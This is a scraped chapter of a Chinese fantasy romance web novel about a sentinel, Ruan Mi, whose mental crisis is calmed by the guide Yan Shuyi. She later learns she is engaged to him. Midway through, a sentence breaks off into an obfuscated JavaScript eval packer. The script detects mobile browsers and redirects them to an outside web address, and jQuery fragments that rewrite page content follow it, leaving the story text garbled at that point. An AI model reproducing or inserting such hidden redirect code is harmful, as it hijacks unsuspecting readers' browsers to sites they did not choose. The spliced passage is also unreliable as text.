万书库 > 玄幻小说 > 恶役万人迷被强制绑定后 > 2. 第 2 章
    “他把你视为竞争者了。”


    “……”云芷暗暗咬牙,随即汇聚精神力冲击眼前屏障。


    “让我进去,我要救其他人!”


    话音刚落,先前还死死隔绝的屏障就消失了,白龙也得以带着云芷去往更靠近塔的地方。


    来到塔下,云芷却不想就这么离开。


    “龙龙,我们冲上去!”


    白龙却扬起自己的尾巴点了点天上的屏障,她们可以进来,但通往塔上的途径还是被死死阻隔。


    “死心吧阿芷,我们打不过他。”


    能展开这么大范围的精神屏障,绝对不是一般人,而且……那是一只玄凤。


    神话种精神体在同一时间段上只会出现一个,白龙记得玄凤的主人在出生时就觉醒了精神体,传闻拥有极强的精神力,以至于年幼的身体无法承受,早些年就被迫沉睡在塔内。


    “言少主,有另一位特级向导在外面,需要……”


    “不需要。”


    声音的主人正半坐在阮弥身旁,长时间没有修剪过的发丝顺着洁白长袍在地面盘旋,围出一片只属于他们的区域。


    近乎妖异的紫在那双眼中荡漾,痴迷地注视着陷入昏睡的哨兵。


    “你们只需要撤离就好,这里,我来解决。”


    “……是。”


    “呜——”


    圣洁高塔外巨鲸不停息地游弋,接连不断发出干扰他人精神力的长吟,绝大多数人都无法看到它,他们只知道狂风在呼啸,灾难将临。


    盘旋于高空的玄凤觉得巨鲸在呜咽。


    它很难过。


    精神体从诞生的那一刻就和主人紧密相连,吞天鲸和阮弥也是一样。如今阮弥精神空间混乱危在旦夕,它被迫外放现实,没办法回到她的身边。


    它是答应了阮弥,可它想帮她实现的,不是通往毁灭的愿望。


    “呜!”


    本体是巨鲸的小鲸越想越难过,从它外放现实那一刻开始,阮弥就没有再回应过它的呼喊。


    悲伤中,有只漆黑小鸟轻轻落在它的头顶,是一只精神体拟态。


    小鲸之前就感受到有精神体在附近,只不过它心系阮弥,完全不想理会。小鲸想起从前阮弥和它说过,精神体拟作幼态大多数时候是一种示好的信号,有时也会是陷阱。


    见巨鲸没有驱赶自己的意图,玄凤也明白对方在给它沟通的机会。


    “我和我的主人没有恶意,我们也想救她。”


    “同为精神体我能理解你和主人被迫分离的忧虑,我不是想责怪你,只是精神体也能反过来影响主人,所以……就当是为了她,别再难过下去了,好吗?”


    “她不会有事,我保证。”


    长久的沉默中,小鲸按下心中涌动的不安和急切,选择去相信一个不知真假的承诺。


    “……好。”


    它想帮上阮弥,它从不愿她死去。


    乌黑阴云死死遮盖着天空,不见一点光芒,风雨雷电在耳边呼啸。无边海面上,浪涛四处席卷,数道水龙卷连接海天。


    外来的魂体在其中穿梭,稍有不慎就会被狂乱的精神力撕成碎片。


    直至精神空间的最深处,万籁俱寂,一座孤岛浮于海面,她在那里。


    “你……是谁?”


    来人径直坠入一双碧蓝眼眸,明明是大海与天空的颜色,如今却被阴翳遮盖。


    “言述一,一个向导。”


    他低声回应着,以缓慢的速度朝阮弥靠近。


    “来到这里很大一部分原因是为了我自己,但我也想帮到你。”


    醒来之后,他了解过状况,知晓为什么会突然诞生一位特级哨兵。大多数情况下,真诚表明意图会让人卸下心防减少戒备,这是言述一过往的经验。


    这里看起来风平浪静,代价却是阮弥现在的状态极度混乱,无休无止地痛苦裹着烦躁将她死死拖住。


    相隔的距离一点一点缩短,飘摇不定的期许在他心中缓缓升高。


    来到阮弥面前,他却不敢贸然触碰:“很抱歉,我没办法阻止转换的过程……”


    “现在还、来得及离开。”


    阮弥出声打断,她在给言述一离开的机会。


    本能在叫嚣,迫切地想要将自身苦苦抑制的疯狂和暴虐找到一个发泄之处,想要从眼前之人身上汲取到片刻疏解。


    阮弥却不想那么做,死死压抑着哨兵本性。她过去也是向导,她不想也不会去做连自己都厌恶的事情。


    言述一反而上前半跪坐在阮弥身旁,笑意洋溢唇齿:“我不会离开的。”


    从不是阮弥需要他,而是自己非她不可。


    “所以,我可以触碰你吗?”


    阮弥握住他的手腕作为回应。


    借由触碰的魂体,精神力能够短暂在他们之中流通交换,短暂安抚阮弥混乱的精神力,不过,这并不是解决之法。


    “我需要破坏这片区域的边界,才能重新建立起精神屏障。”


    这会让阮弥短时间内彻底失控,同时也代表着,在这段时间内她会被本能驱使。比起自己,阮弥反而有些担心言述一,他的脸色是不正常的苍白,看起来比自己更像是病人。


    像是知道阮弥在想什么,轻柔的声音在她耳畔响起:


    “别怕,你和我都不会有事。”


    稍微缓和后,阮弥清醒不少:“如果有什么意外,你要走就走,我不会追究。”


    “不,我不会离开。”言述一面上笑容有片刻暗淡片刻,但很快就恢复甚至更盛:“就算你赶我走,我也不会走的。”


    好坚决啊……


    阮弥神游天外地想着,莫名觉得有点不妙:“你准备好就开始吧。”


    言述一点头。


    “五、四、三、二……一。”


    话音落下,屏障一瞬就出现如蛛网一般的裂痕,再一秒流逝,汹涌的海水就朝着孤岛卷起巨浪,在理智破碎的前夕,阮弥听见言述一低语:


    “我更期待和你一起活着。”


    刹那间,言述一被一道不容置疑的力量前压,直直撞进阮弥怀中,长袍被外力扯下缓缓滑落,他觉得相互纠缠的发丝有些冰凉,衬得落在脖颈时轻时重的吐息更加湿热。


    可惜,这似乎只是个拥抱……


    下一刻,肩颈处传来痛感,他成为某人的口中之物。


    明明是让人不自主皱眉的疼痛,言述一却笑了起来,落在远处的视线缓缓失去焦点,他环住阮弥,在翻涌的浪潮中献上祭礼。


    他如愿成为她的猎物,直至风浪平息。


    日光穿破云层,透过细密薄纱,洒满室内带来点点温度。


    阮弥被光唤醒,哈欠不受控制地溢出,碧蓝色的目光重新溃散。


    今天要做什么来着?她迷迷糊糊地想着,完全想不起来的日程等于没有,她拽起被子侧过身裹紧想再睡一会。


    闭上眼前,余光捕捉到一抹紫色,阮弥没有在意。


    她在想为什么今天的被子格外舒适。


    ……


    …………!


    记忆如涨潮的海水不断涌现,阮弥一下清醒过来,感知也很合时宜地捕获到她身后躺着一个大活人,她的向导。


    她没睁开眼,因为不想面对。


    阮弥觉得自己像是宿醉过头现在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546831|204185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还在做梦:她成功从向导变成哨兵,还和一个从来没见过面的向导精神绑定。


    平心而论阮弥自知自己不是什么好人,更没做过什么感天动地的好事,可她如今身为一个哨兵,无论是律法还是道德上都必须对精神结合过的向导负责,就算这是暂时的绑定。


    纠结半晌,阮弥深吸一口,睁开眼,轻轻掀开被子起身。


    “你醒啦。”


    毫无预料的话语吓阮弥一跳,她以为对方还没醒,转过头才发现言述一不知何时就已经看向自己。


    “抱歉,吓到你了。”他脸上露出表示歉意的笑容,退回原本前倾的距离。


    “没关系,是我没注意。”


    言述一的衣服好像和记忆中的有些不同,大片肌肤裸露在外似乎是有些不合身,阮弥的视线落在被发丝遮掩若隐若现的颈部……


    猛然回神,她在心中唾弃自己:“阮弥啊阮弥,你在想些什么!”


    在被定性为超级大色魔之前阮弥慌慌张张收回目光,若无其事地帮言述一拉好衣服。


    他任由她动作,脸上的笑意却从未减退。


    “我们去吃饭吧。”


    直到看见走廊窗外悬日落下,阮弥才迟迟意识到现在不是清晨,她以为只过了一个夜晚,现实却是她昏迷了整整一个星期。


    “我可以借用一下你的终端吗?我想给我妈报平安。”


    “在你精神状况稳定下来后,我就告诉过阮阿姨你一切安好。”说着,言述一将自己的终端递到她手中,“我先去餐厅等你。”


    “好,多谢你了。”


    熟练地按下通讯号码,阮弥看见言述一的备注:阮怀清阿姨。她打的是语音模式,因为有点不敢直视阮女士的目光,没等多久就成功接通了。


    “小言啊,找阿姨有什么事吗?”


    小言?阮弥心有疑虑,没多耽搁紧接着开口:“妈,是我,你女儿。”


    “哦——”


    这声音给阮弥一种大难临头的压迫感,果不其然,阮怀清原先热切的态度随着拖长的声音下降很多。


    “你还知道打通讯给我!被索兰圣所抓起来这么久,你还让安安他们瞒着我什么都不说!你知道我看见报道时有多担心你吗?要不是小言告诉我你没事我都快被你吓死了!”


    “妈……我错了,对不起。”


    阮怀清连珠带炮让阮弥泛起源源不断的愧疚:“我找有预言能力的人预测过,不会有事,所以我就想等成功了再告诉你。”


    长久的沉默后,另一边传来无可奈何的叹息,让阮弥不由得心头一紧。


    “小弥,下次不要再这样了,我真的很害怕。”


    “好,不会有下次了。”


    “我前几天就到了索兰,只是进不去塔里,你也别急着出来见我先好好养身体。说起来,你昏迷的这段时间都是小言一个人照顾你……”


    阮怀清忽然压低声音。


    “我让人查过,他家是索兰的一个大家族,这也没什么。虽然你们现在订婚了,但无论你之后做什么选择我都会支持你,你的感受才是最重要的,不过如果真的不合适也好聚好散不要太伤害人家。”


    “……我和他订婚了?”


    阮弥的语气中带有三分困惑,三分不解,以及三分茫然。


    什么时候的事情?她失忆了?还是圣所出了临时精神结合也要订婚的条例?


    对此一无所知的当事人听见通讯那头传来一声轻笑:“原来小言还没和你说啊,总之事出有因,涉及你在索兰的资产,他事前问过我,我同意了。”


    “小弥,你也不想你辛辛苦苦攒下来的钱被充公吧?”